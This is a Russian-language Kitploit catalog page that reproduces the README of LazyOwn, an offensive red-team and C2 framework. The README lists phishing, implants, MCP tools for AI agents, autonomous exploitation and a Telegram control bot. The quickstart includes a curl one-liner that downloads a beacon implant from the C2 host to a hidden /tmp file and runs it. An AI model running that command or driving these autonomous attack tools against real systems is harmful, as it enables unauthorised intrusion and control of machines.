Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
LazyOwn — Фреймворк для red team и многопользовательская C2-платформа с AI-агентами, гибкими имплантами, руткитами, фишинговым движком и 741 CLI-командой, охватывающими всю цепочку атаки. | Kitploit
Инструменты/GitHubGitHub/grisuno/lazyown
Фреймворки для пентестаСканеры уязвимостейФреймворки для эксплойтовПост-эксплуатацияФишингТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной НагрузкиТроян Удаленного ДоступаБезопасность ИИ
228451322 ч 2 мин назадПроверено Kitploit
GitHubgrisuno/lazyown

LazyOwn

Фреймворк для red team и многопользовательская C2-платформа с AI-агентами, гибкими имплантами, руткитами, фишинговым движком и 741 CLI-командой, охватывающими всю цепочку атаки.

РепозиторийСайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

LazyOwn — RedTeam Framework с AI-агентами, Linux BOF beacon, маркетплейсом YARA+Nuclei

LazyOwn_Redteam_framework

stars release docker ci License: GPL v3 Ask DeepWiki

741 CLI-команда. Мультиоператорный C2. 153 MCP-инструмента для AI-агентов. Единственный OSS C2 с поддержкой Linux BOF + встроенными маркетплейсами YARA/Nuclei.

Попробовать за 60 секунд (без установки)Золотой путь (каждый engagement)Авто-pwn одной командой
docker run -it ghcr.io/grisuno/lazyown:latestping > lazynmap > auto_populate > facts_show > recommend_nextengage 10.10.11.5

golden path demo C2 collab demo MCP AI demo

Больше демо

Первые 7 командЦикл разведки
first stepsrecon loop
C2 из CLIОтправка команд beacon'ам
C2 CLIissue to C2

Полное руководство: QUICKSTART.md (5 мин) · гайд 80/20: ESSENTIALS.md · HTB от начала до конца: docs/examples/htb-lame-walkthrough.md · Честное сравнение: COMPARISON.md

Почему LazyOwn против Sliver / Havoc / Mythic / Caldera / Metasploit

ВозможностьLazyOwnSliverHavocMythicCalderaMetasploit
Поддержка Linux BOFyesnonononono
Встроенный маркетплейс YARA + Nucleiyesnonononono
MCP-сервер для AI-агентов (153 инструмента)yesnonononono
LLM-оператор + мультиагентный улейyesnonononono
Мультиоператорный C2 + фишинг-движокyespartialpartialpartialpartialpartial

Полная таблица: COMPARISON.md. Нашли ошибку? Откройте issue, мы исправим.```sh ██▓ ▄▄▄ ▒███████▒▓██ ██▓ ▒█████ █ █░███▄ █ ▓██▒ ▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒▒██▒ ██▒▓█░ █ ░█░██ ▀█ █ ▒██░ ▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░▒██░ ██▒▒█░ █ ░█▓██ ▀█ ██▒ ▒██░ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░▒██ ██░░█░ █ ░█▓██▒ ▐▌██▒ ░██████▒▓█ ▓██▒▒███████▒ ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░ ▓██░ ░ ▒░▓ ░▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ░ ░ ▒ ░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░

root@kitploit:~
[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y2Z73AV)


LazyOwn поставляется с АБСОЛЮТНО БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ. Это свободное программное обеспечение, и вы можете распространять его на условиях GNU General Public License v3.
Подробности об использовании этого программного обеспечения см. в файле LICENSE.

 # LazyOwn RedTeam Framework v0.2.161

LazyOwn — это профессиональный фреймворк для red team и платформа Command & Control (C2), созданная для пентестеров, red team и исследователей безопасности. Она предоставляет 741 команду CLI, 126 алиасов, 153 инструмента MCP для AI-агентов, многопользовательскую веб-панель C2 и 137 интеграций плагинов YAML/Lua, охватывающих полную цепочку атаки на Linux, Windows, macOS и BSD.

**Новое в v0.2.161:** интегрированный маркетплейс с правилами YARA + шаблонами Nuclei, автономная эксплуатация `auto_pwn`, команда `hunt` для threat-informed разведки, движок подсказок после команд, автоматическое шифрование данных сессий, геймифицированные ELO/значки и 7 новых плейбуков APT.

## Быстрый старт в трёх командах

Впервые здесь? Это весь путь входа. Полное руководство: [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md).```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh        # virtualenv + pinned dependencies + C2 certificates
./run                  # launches the shell; first run offers the setup wizard

Установка по умолчанию — лёгкая; добавьте --with-ml для тяжёлого стека torch/CUDA, --with-ollama для локальной среды выполнения LLM, --with-tools для распространённых внешних бинарных файлов. Зависимости зафиксированы в requirements.txt (кроссплатформенное ядро) и requirements-ml.txt (опциональный ML); pyproject.toml — единственный источник истины.

Docker

Для изолированных, воспроизводимых работ см. lazyown-docker/README.md.```bash cd lazyown-docker ./mkdocker.sh build ./mkdocker.sh run --vpn 1

root@kitploit:~
Затем, внутри оболочки `(LazyOwn) >`:```text
doctor          # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard          # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping            # confirm the target is up and detect its OS
lazynmap        # full port + service scan

Если doctor сообщает о блокирующей ошибке (красный), исправьте её, прежде чем продолжать — он укажет точную команду pip install / apt install для всего, чего не хватает. Предупреждения (жёлтый) — это необязательные функции, которые пока можно игнорировать.

Основная архитектура

LazyOwn построен вокруг модульной архитектуры, управляемой командами, которая обеспечивает гибкость и расширяемость для рабочих процессов тестирования безопасности.

diagrama_lazyown

LazyOwn объединяет интерфейс командной строки (CLI), построенный на cmd2, и веб-графический интерфейс, построенный на Flask. Параметры ограничены областью payload.json, что обеспечивает согласованную конфигурацию между инструментами. Фреймворк поддерживает имитацию действий противника, планирование задач через команду cron и постоянные автоматизированные рабочие процессы имитации угроз.

image

image

Подробности см. в CONTRIBUTING.md.

Навыки LazyOwn — интеграция с MCP

Подключите Claude Code к фреймворку LazyOwn через Model Context Protocol (MCP). Сервер MCP предоставляет 153 инструмента, охватывающих весь жизненный цикл взаимодействия.

Файлы

ФайлНазначение
skills/lazyown_mcp.pyСервер MCP — предоставляет Claude 153 инструмента LazyOwn
skills/lazyown.mdНавык Claude Code / документация по slash-командам
skills/autonomous_daemon.pyДемон автономного выполнения (управляемый целями, Claude не требуется между шагами)
skills/hive_mind.pyМногоагентная система queen + drone с памятью ChromaDB
skills/lazyown_policy.pyДвижок политик на основе вознаграждения для auto_loop
skills/lazyown_facts.pyСтруктурированное извлечение фактов из nmap XML и вывода инструментов
skills/lazyown_parquet_db.pyБаза знаний Parquet: история сессий, GTFOBins, LOLBas, ATT&CK

Быстрый старт (5 минут до первой оболочки)

Полное руководство: QUICKSTART.md```bash

1. Clone and install (light by default; add --with-ml for the 2 GB torch/CUDA stack, --with-ollama for the local LLM)

git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh

2. Launch, verify the install, then run the wizard

./run (LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools (LazyOwn) > wizard # auto-detects lhost, walks 8 config steps incl. LLM provider

Heavy optional dependencies (pycryptodome, python-libnmap, impacket, ...) are

imported lazily: a missing package degrades only its feature instead of

crashing the shell, and the dependent command raises a clear "pip install ..."

error when used. To audit them without launching the shell (works even if rich

or cmd2 are broken): python3 -m core.dependencies

3. Define your authorized scope, then recon

(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce (LazyOwn) > ping && lazynmap && auto_populate && facts_show

4. Start C2 (separate terminal)

bash fast_run_as_r00t.sh --no-attach --vpn 1

5. Get a shell — Linux BOF-capable beacon

(LazyOwn) > blacksandbeacon

Then on target: curl -sk "http://:/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

6. Invite teammates (multi-operator)

(LazyOwn) > collab_join alice

Prints: https://:<c2_port>/collab/?operator=alice

root@kitploit:~
---

## Совместная работа нескольких операторов

Слой совместной работы LazyOwn обеспечивает функциональность командного сервера в реальном времени через
Server-Sent Events (SSE). Он активируется автоматически при запуске `lazyc2.py`.

**Браузерная панель управления** — откройте в любом браузере у команды:```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>

Поток SSE терминала:```bash curl --insecure -N "https://:<c2_port>/collab/stream?operator=alice" | jq .

root@kitploit:~
**Опубликовать находку для всех операторов**:```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
  -H "Content-Type: application/json" \
  -d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'

Заблокировать цель (предотвращает запуск одного и того же инструмента двумя операторами):```bash curl --insecure -sk -X POST https://:<c2_port>/collab/lock
-H "Content-Type: application/json"
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'

root@kitploit:~
| Конечная точка | Метод | Описание |
|---|---|---|
| `/collab/` | GET | Многопользовательская панель управления в браузере |
| `/collab/stream?operator=<name>` | GET (SSE) | Поток событий в реальном времени |
| `/collab/operators` | GET | Список активных операторов |
| `/collab/publish` | POST | Трансляция структурированного события |
| `/collab/lock` | POST | Захват рекомендательной блокировки цели |
| `/collab/unlock` | POST | Снятие блокировки цели |
| `/collab/locks` | GET | Все активные блокировки |
| `/collab/history?n=100` | GET | Последние N событий |

Из CLI: `collab_join <handle>` выводит все URL для заданного оператора.

---

## Быстрый старт с MCP

LazyOwn предоставляет весь свой фреймворк через Model Context Protocol (MCP). Один и тот же сервер работает с Claude Code, Claude Desktop, Hermes Agent и OpenCode — выберите интеграцию, соответствующую вашей среде.

### Claude Code```bash
bash scripts/setup_hermes_mcp.sh

Или скопируйте .mcp.example.json в .mcp.json и установите LAZYOWN_DIR в абсолютный путь этой рабочей копии:```json { "mcpServers": { "lazyown": { "command": "python3", "args": ["${LAZYOWN_DIR}/skills/lazyown_mcp.py"], "env": { "LAZYOWN_DIR": "${LAZYOWN_DIR}" } } } }

root@kitploit:~
Установите slash-команду (необязательно):```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md

После перезапуска Claude Code все инструменты lazyown_* становятся доступны.

Агент Hermes

LazyOwn нативно поддерживает Hermes. Интеграционный слой skills/hermes-lazyown/ предоставляет компактную поверхность инструментов с пространством имён, оптимизированную для контекстных окон Hermes, с возобновлением из контрольных точек, динамической генерацией правил и нативным планированием делегирования.

Зарегистрируйте в ~/.hermes/config.yaml:```yaml mcp_servers: hermes-lazyown: command: python3 args: ["${LAZYOWN_DIR}/skills/hermes-lazyown/mcp_server.py"] env: LAZYOWN_DIR: "${LAZYOWN_DIR}"

root@kitploit:~
Затем перезагрузите инструменты MCP в Hermes с помощью `/reload-mcp`.

Полное руководство по интеграции с Hermes см. в `skills/hermes-lazyown/README.md`.

### OpenCode

LazyOwn совместим с OpenCode через **LazyOwnOpenCodeAdapter**:```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build

Адаптер связывает MCP-сервер LazyOwn с OpenCode CLI, предоставляя ту же поверхность инструментов lazyown_* с нативными для OpenCode подсказками и рабочими процессами.

Полная настройка: https://github.com/grisuno/LazyOwnOpenCodeAdapter

Переменные окружения

ПеременнаяПо умолчаниюОписание
LAZYOWN_DIRродительский каталог skills/Корневой каталог LazyOwn
LAZYOWN_C2_HOSTpayload.json lhostАдрес C2-сервера
LAZYOWN_C2_PORTpayload.json c2_portПорт C2-сервера
LAZYOWN_C2_USERpayload.json c2_userИмя пользователя C2
LAZYOWN_C2_PASSpayload.json c2_passПароль C2

Группы инструментов MCP (153 инструмента)

ГруппаИнструментыОписание
Core Execution7run_command (теперь с dry_run + confirm), get/set_config, list_modules, discover_commands, command_help, palette
Audit & Context6target_context, tasks_cleanup, evidence_grep, session_diff, run_command_async, job_status
Target Management3add_target, list_targets, set_active_target
C2 / Implant Control10c2_command, c2_status, get_beacons, run_api, c2_profile, c2_vuln_analysis, c2_redop, c2_search_agent, c2_script, c2_adversary
Session Awareness4session_status, session_state, list_sessions, read_session_file
Autonomous Loop3auto_loop, policy_status, recommend_next
ACI — Autonomous Campaign Intelligence3aci_plan, aci_status, aci_replan
Reactive Intelligence2reactive_suggest, bridge_suggest
Objectives & Planning4inject_objective, next_objective, soul, read_prompt
Knowledge Bases9parquet_query/annotate, facts_show, cve_search, searchsploit, rag_index/query, threat_model
Memory & Learning3memory_recall/store, eval_quality
Campaign & Reporting7campaign, campaign_tasks, generate_report, misp_export, collab_publish, timeline
Playbooks2playbook_generate, playbook_run
Addons, Tools & Plugins3list_addons/plugins, create_addon/tool
Scheduling2cron_schedule, daemon
AI Agents5run_agent, agent_status/result, list_agents, llm_ask
Event Engine4poll_events, ack_event, add_rule, heartbeat_status
SWAN MoE+RL4swan_run, swan_ensemble, swan_status, swan_route

Полная документация: skills/README.md и skills/lazyown.md.

Улучшения MCP в режиме аудита

Добавлены в skills/lazyown_mcp_helpers.py, чтобы сделать автономные аудиты более эффективными и менее подверженными ошибкам. Логика находится в модуле чистых функций, поэтому её можно изолированно покрыть модульными тестами (tests/test_mcp_improvements.py).

Инструмент / ПараметрЧто делаетПочему это важно
lazyown_session_init(format='json', include_recommend=true)Возвращает SITREP в виде структурированного словаря вместо баннера; опционально встраивает топ-3 ранжированных рекомендуемых действий.Экономит ~5 КБ декорированного текста на вызов; агенты могут фильтровать перед использованием.
lazyown_campaign_sitrep(format='json')Та же опция JSON для главного отчёта смены.Единообразный формат для обоих инструментов оценки ситуации.
lazyown_target_context(host, port=N)Агрегирует открытые порты, учётные данные из world-model (с происхождением + уверенностью), уязвимости, свежесть доказательств pwntomate и свежесть nmap для одного кортежа (host, port).Заменяет 4-5 отдельных запросов при принятии решения о следующем действии по цели.
lazyown_tasks_cleanup(dry_run=true, min_confidence=0.5)Проверяет sessions/tasks.json и помечает записи, где встроенные учётные данные на самом деле являются временной меткой / URL / IP / дубликатом. Передайте dry_run=false, чтобы перезаписать файл (сначала создаётся .bak).Наблюдатель часто превращает временные метки логов в «учётные данные»; на реальной кампании это удаляет 100+ шумовых задач.
`lazyown_evidence_grep(pattern, scope='alllootnmap
lazyown_run_command(command, dry_run=true)Предварительная проверка: возвращает базовую команду, путь к бинарнику, требуемую ОС против текущей ОС, возможные дубликаты артефактов, отсутствующие ключи payload — без выполнения.Предотвращает случайные повторные запуски 30-минутных сканирований; помечает инструменты только для Windows при цели на Linux до запуска.
lazyown_run_command_async(command, timeout) + lazyown_job_status(job_id)Шаблон фоновых задач для длинных команд (lazynmap, pwntomate, auto_loop). Немедленно возвращает job_id.Освобождает агента от блокировки на командах, документированных как ≥30 мин.
lazyown_session_diff(take=true)Сообщает о добавленных / изменённых / удалённых файлах в sessions/, а также о новых учётных данных / ID задач с момента последнего снимка.Делает передачу смены явной; хорошо работает как первый вызов каждой новой сессии.
Шлюз подтверждения ()

Улучшения CLI в режиме аудита

Слой расширений SOLID в cli/cli_enhancements.py подключается к оболочке cmd2 через существующее автообнаружение CommandSet (cli/commands/audit.py). Не потребовалось правок 27-тысячестрочного ядра lazyown.py помимо двух небольших хуков (загрузка псевдонимов lazy, запасной вариант completedefault).

Команда / хукЧто делаетНа основе
fz [query]Нечёткий поиск команд по каждому do_*, псевдониму, плагину и аддону. Оценка: точное > префикс > подстрока > схожесть последовательности.FuzzyCommandIndex
form <command>Проводит оператора через интерактивную форму параметров для команд с множеством флагов (в настоящее время phishing, venom, evil). Проверяет обязательные поля и перечисления options; при неинтерактивном вводе-выводе возвращается к значениям по умолчанию.InteractiveForm, FormSpec
status_tail [target]Разбирает последний sessions/scan_<target>.partial/.nmap и выводит открытые порты, процент завершения и последнюю строку, чтобы оператор мог следить за длинным сканированием, не покидая оболочку.LiveStatusTail
grep_log <pattern> [--cmd <name>]Поиск по регулярному выражению в недавней истории выполненных команд и их выводе. Сохраняется между перезапусками (sessions/_cli_transcript.jsonl).TranscriptStore
reload_addonsОпрашивает lazyaddons/ и plugins/ и повторно регистрирует всё, что изменилось с момента последнего обхода, без перезапуска оболочки.AddonHotReloader
audit_complete_keys <command> [partial]Показывает, что предложил бы completer с учётом payload для данной команды. Полезно для проверки поведения автодополнения.PayloadAwareCompleter
completedefault (Tab)Хук Cmd2 теперь передаёт управление completer'у с учётом payload, который предлагает ключи payload для set/assign, значения IP для target, ключи wordlist для gobuster/ffuf, имена аддонов для run, имена плагинов для plugin и захваченные учётные данные для evil//.

Примитивы не зависят от фреймворка и зависят от небольших интерфейсов typing.Protocol (PayloadProvider, CommandLister, TerminalIO), поэтому их можно изолированно покрыть модульными тестами. См. tests/test_cli_enhancements.py (36 тестов).

Нечёткое автодополнение с выпадающим списком

Оболочка cmd2 устанавливает управляемый curses нечёткий выборщик поверх GNU readline (cli/fuzzy_picker.py). При одном нажатии Tab, когда доступно два или более вариантов автодополнения, выборщик открывает обрамлённый выпадающий список, привязанный к нижней части терминала, показывая каждое совпадение вместе с его описанием. Оценщик отдаёт предпочтение точным, префиксным и подпоследовательным совпадениям перед подстрокой и схожестью (то же ранжирование, что использует отдельная команда fz), а совпавшие символы запроса подсвечиваются в каждой строке, чтобы оператор мог видеть, почему кандидат находится в списке.

Навигация: ↑ / ↓ для перемещения, Page Up / Page Down для перехода, Home / End для поиска, Backspace для редактирования запроса на месте, Tab или Enter для вставки выделенной команды в приглашение, Esc или Ctrl-C для отмены. Когда совпадает только один кандидат, обычное поведение автовставки readline сохраняется, поэтому выборщик никогда не мешает быстрому оператору. Геометрия, цвета и глифы управляются через PickerConfig, а необязательный блок fuzzy_picker в payload.json может переопределить любое из его полей (например, "max_visible_rows": 8) без изменения кода.

Настраиваемое приглашение Neon Box — config_banner

Оболочка cmd2 отображает трёхстрочное приглашение Neon Box, собранное из канонического набора сегментов (user_host, iface, lhost, rhost, domain, public_ip, cwd, git, venv, time, kernel, version, battery_load). Рендерер реализован в cli/banner_config.py как небольшой стек SOLID: один SegmentRenderer на каждый фрагмент информации, SegmentRegistry, объект-значение BannerSettings и BannerRenderer, который выдаёт вывод с ANSI-цветами. Публичный IP, версия ядра и версия LazyOwn кэшируются с TTL, поэтому приглашение остаётся субмиллисекундным после первого рендеринга.

Команда оболочки config_banner открывает мастер curses в стиле Powerlevel10k с тремя вкладками — Segments, Colors, Glyphs — и живым предпросмотром результирующего приглашения, привязанным к нижней части панели. Tab / Shift+Tab переключают вкладки; ↑ / ↓ перемещаются внутри активной вкладки; Enter сохраняет в payload.json в блок banner; Escape отменяет. Привязки для каждой вкладки:

ВкладкаКлавиши действий
SegmentsSpace включает/выключает сегмент; a включает каждый сегмент; n отключает каждый сегмент; d восстанавливает заводские настройки.
ColorsSpace / → переключает на следующий именованный цвет (bright_green, bright_cyan, bright_magenta, …); ← переключает назад; d восстанавливает цвет по умолчанию для этого сегмента.
GlyphsSpace / → переключает на следующий символ для выбранного слота (top_left, vertical, bullet_primary, arrow, prompt_char_user, …); ← переключает назад; d восстанавливает глиф по умолчанию для этого слота.

Приглашение оболочки обновляется сразу после сохранения — перезапуск не нужен. Операторы без TTY (CI, скрипты) всё ещё могут управлять системой с помощью config_banner show и config_banner reset или вручную отредактировать payload:```json "banner": { "enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"], "colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"}, "glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│", "bullet_primary": "❯", "arrow": "→"} }

root@kitploit:~
Имена цветов проверяются по `ColorRegistry`, а символы глифов —
по `GlyphRegistry`; всё неизвестное молча откатывается к
заводскому значению по умолчанию, так что некорректный payload никогда не ломает приглашение.

### Навигация с учётом графа — UX для оператора и агента из graphify

`cli/graph_advisor.py` загружает граф знаний, созданный
[`/graphify`](https://graphify.dev) по дереву исходников LazyOwn
(`graphify-out/graph_lazyown.json` — ~1500 узлов, ~2900 рёбер, 14
сообществ), и предоставляет его как оболочке cmd2, так и серверу MCP.
Советник представляет собой однфайловый SOLID-стек — `GraphLoader` (файловый
ввод-вывод с кэшированием по mtime), `GraphIndex` (индексы смежности / степеней / сообществ в памяти),
`GraphScorer` (чистый примитив ранжирования), `GraphAdvisor` (оркестратор) —
при этом каждая константа хранится в датаклассе `GraphAdvisorConfig`.

**Команды оператора (оболочка cmd2)**

| Команда | Назначение |
|---------|---------|
| `graph_search <query> [limit]` | Нечёткий поиск узлов по метке, id или исходному файлу. |
| `neighbors <node> [depth] [limit]` | Обход графа наружу от узла с указанием отношения ребра / уверенности. |
| `god_nodes [N]` | Показать наиболее связанные узлы — ключевые абстракции фреймворка. |
| `suggest_next [seeds…] [N]` | Рекомендовать следующие команды, обходя граф наружу от недавней активности. Без seeds читает `sessions/LazyOwn_session_report.csv` и берёт seeds оттуда. |

Хук `default()` оболочки теперь пропускает неизвестные команды `do_*` через
того же советника + существующий `FuzzyCommandIndex`, так что оператор, набравший
`ddo_lazynmap`, мгновенно видит *"Did you mean: do_lazynmap, do_lazynmap_quick, …?"*
до тоста.

**Инструменты MCP (Claude Code, Claude web, любой MCP-агент)**

| Инструмент | Назначение |
|------|---------|
| `lazyown_graph_summary` | Количество узлов / рёбер / сообществ и разрешённый путь к графу. |
| `lazyown_graph_search` | Нечёткий поиск узлов с ограничением `budget_tokens`, чтобы JSON-ответ никогда не превысил контекстное окно агента. |
| `lazyown_graph_neighbors` | Многоуровневый обход смежности с отношением ребра и уверенностью — канонический запрос "от чего зависит X?". |
| `lazyown_graph_suggest_next` | Рекомендация следующего шага; принимает явный список `recent` или читает транскрипт сессии. |

Каждый инструмент графа MCP обрезает поля-списки на месте, чтобы уложиться в `budget_tokens`
(по умолчанию 1500). Когда граф отсутствует, каждый инструмент возвращает
`{"available": false, "reason": "..."}` вместо падения — оператору
сообщается, что нужно один раз запустить `/graphify .`, и всё начинает работать.

Советник кэширует по `(path, mtime)`, так что свежая пересборка `/graphify` подхватывается
автоматически при следующей команде CLI или вызове MCP без
перезапуска оболочки или сервера MCP. См.
`tests/test_graph_advisor.py` — 20 модульных тестов, покрывающих загрузчик,
индекс, скорер и полный API советника.

### Встроенные реактивные подсказки — неблокирующие предложения следующего шага

`cli/reactive_hints.py` подключается к пост-командному конвейеру cmd2 через
`register_postcmd_hook` и печатает одну тусклую строку под выводом каждой команды,
перед появлением следующего приглашения:```
  ↳ do_gobuster · do_enum4linux · do_ffuf

Подсказка поступает из графа знаний graphify (тот же GraphAdvisor, который используется в suggest_next), поэтому она структурно обоснована — это не общий список. Хук полностью неблокирующий: он возвращает управление до того, как cmd2 отрисует приглашение, так что оператор может сразу начать вводить следующую команду.

Управление

ДействиеКак
Отключить подсказки для сессииset enable_inline_hints false
Включить обратноset enable_inline_hints true
Сохранить навсегдаset enable_inline_hints false, затем save

Команды из списка исключений (help, ?, exit, set, show, palette, dashboard, suggest_next, graph_search, neighbors, god_nodes) никогда не создают строку подсказки — это мета-команды, где предложение добавляет шум.

Когда граф graphify отсутствует, хук молча возвращает управление. Запустите /graphify . один раз, чтобы построить граф, и подсказки начнут появляться уже на следующей команде.

Панель управления оператора в TUI — dashboard

cli/dashboard_tui.py — это полноэкранная панель Textual, запускаемая из оболочки с помощью:``` dashboard

root@kitploit:~
Он блокирует оболочку, пока открыт (как `htop` или `lazygit`). Нажмите **Q** или
Ctrl-C, чтобы закрыть и вернуться к приглашению cmd2.

**Layout**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5  ATTACKER 10.10.14.5  DOMAIN target.htb  PHASE RECON  OS  │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│  Kill Chain         │  Recent Commands                │  Ops                │
│  ✔ Recon            │  ● lazynmap        2026-05-11   │  Objective:         │
│  ▶ Enum             │  ● ping            2026-05-11   │  Initial Access     │
│  ○ Exploit          │  ● gobuster        2026-05-11   │                     │
│  ○ PrivEsc          │                                 │  Credentials: 0     │
│  ○ Lateral          │                                 │  Hashes: 0          │
│  ○ Exfil            │  Config                         │  Beacons: 0         │
│  ○ Report           │  Target: 10.10.11.5             │                     │
│                     │  C2 Port: 4444                  │                     │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│  ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto                   │
└──────────────────────────────────── [Q] Quit  [R] Refresh  [?] Help ────────┘

Источники данных (автообновление каждые 5 секунд)

ПанельИсточник
Цель / фаза / ОСpayload.json, sessions/world_model.json
Прогресс kill chainsessions/world_model.json → completed_phases
Последние командыsessions/LazyOwn_session_report.csv
Задачаsessions/world_model.json, sessions/tasks.json
Учётные данные / хешиsessions/credentials*.txt, sessions/hash*.txt
Биконыsessions/beacons.json
Подсказки графаgraphify-out/graph_lazyown.json

Требуется pip install textual (добавлено в install.sh).

Палитра команд и граф-ориентированное обнаружение

Инструмент MCP lazyown_palette (также доступный как CLI-команда palette и веб-представление /palette, с глобальным оверлеем Ctrl+K / Cmd+K на каждой странице C2) позволяет агентам и операторам просматривать более 422 команд do_* без прокрутки. Режимы:

РежимПримерОписание
ОбзорpaletteКоличество команд по фазам.
Фазаpalette reconКаждая команда в фазе kill-chain с однострочным описанием.
Фаза + фильтрpalette enum nmapСписок фазы, суженный по текстовому запросу.
Поискpalette --search ldapНечёткий поиск по имени и описанию.
Деталиpalette --info do_lazynmapПолная запись плюс полученные из graphify соседи calls и related (какие другие команды используют общие вспомогательные функции с этой).
Следующая фазаpalette --next reconРекомендуемые команды в фазе, следующей в порядке kill-chain.

Списки calls / related в представлении деталей берутся из graphify-out/graph_lazyown.json (перегенерируется навыком graphify); когда этот файл отсутствует, палитра без предупреждений переходит только к данным фаз.


Telegram Hermes Bot

Бот telegram_hermes.py связывает Telegram с полным фреймворком LazyOwn через слой MCP и шлюз Hermes. Он поддерживает прямое выполнение shell-команд, делегирование автономному агенту, планирование cron, взаимодействие с C2-биконами и кросс-платформенный обмен сообщениями.

Файлы

ФайлНазначение
telegram_hermes.pyTelegram-бот — связывает Telegram с LazyOwn MCP и шлюзом Hermes
run_telegram_hermes.shСкрипт запуска с использованием выделенного venv
venv_telegram/Виртуальное окружение Python с зависимостями python-telegram-bot

Быстрый старт```bash

1. Create the dedicated virtual environment

cd LazyOwn python3 -m venv venv_telegram source venv_telegram/bin/activate pip install python-telegram-bot nest_asyncio requests

2. Configure your bot token in payload.json

python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"

3. Launch the bot

./run_telegram_hermes.sh

root@kitploit:~
### Команды бота

| Команда | Описание |
|---------|-------------|
| `/start <secret>` | Аутентификация с секретом C2 из `payload.json` |
| `/cmd <command>` | Выполнить любую shell-команду LazyOwn |
| `/sitrep` | Полный отчёт о ситуации кампании |
| `/config [key] [val]` | Просмотр или установка значений payload.json |
| `/addcli <client_id>` | Установить активный C2-клиент |
| `/clients` | Список онлайн C2-имплантов |
| `/c2 <command>` | Отправить команду на C2-бикон |
| `/agent <goal>` | Запустить автономного агента Groq/Ollama |
| `/delegate <goal>` | Делегировать задачу субагенту Hermes |
| `/cron <schedule> <cmd>` | Запланировать повторяющиеся команды LazyOwn |
| `/status` | Показать статус демона и автономного режима |
| `/stop` | Остановить любой запущенный автономный демон |
| `/download <file>` | Скачать файлы из sessions/ |
| Загрузить документ | Загрузить файлы на C2-бикон |

Любое текстовое сообщение без префикса `/` обрабатывается как прямая команда LazyOwn. Применяются ограничение скорости (5 команд/минуту) и тайм-ауты сессии (30 минут).

### Архитектура

Бот использует то же выполнение команд на основе PTY, что и сервер MCP (`skills/lazyown_mcp.py`), поэтому каждая команда LazyOwn, алиас и аддон работают без прямого импорта Python. Автономные задачи (`/agent`, `/delegate`) запускают агентов Groq или Ollama через оболочку LazyOwn, а команды C2 (`/c2`, `/clients`) используют аутентифицированные эндпоинты `/api/command` и `/get_connected_clients`.

---

## Продвинутая архитектура ИИ (MoE + RL + SWAN + Hive Mind)

LazyOwn интегрирует многоагентный стек ИИ мирового класса, который адаптируется и улучшается с каждым взаимодействием:

### Mixture of Experts (MoE) — `modules/moe_router.py`

Пять LLM-экспертов зарегистрированы с тегами возможностей, базовыми весами и уровнями стоимости:

| Эксперт | Бэкенд | Сильные стороны |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | Разведка, перечисление, быстрые решения |
| `groq_powerful` | Groq llama-3.3-70b-versatile | Эксплуатация, пост-эксплуатация, сложные рассуждения |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | Повышение привилегий, пошаговые рассуждения |
| `ollama_reason` | Ollama deepseek-r1:1.5b | Офлайн, безопасность приватности, детальный анализ |
| `groq_gemma` | Groq gemma2-9b-it | Латеральное перемещение, анализ учётных данных |

Маршрутизация использует softmax с температурным масштабированием (`T = max(0.5, 1.5/(1+calls/50))`) по скорректированным весам. Веса самонастраиваются через экспоненциальное скользящее среднее вознаграждения каждого эксперта с течением времени.

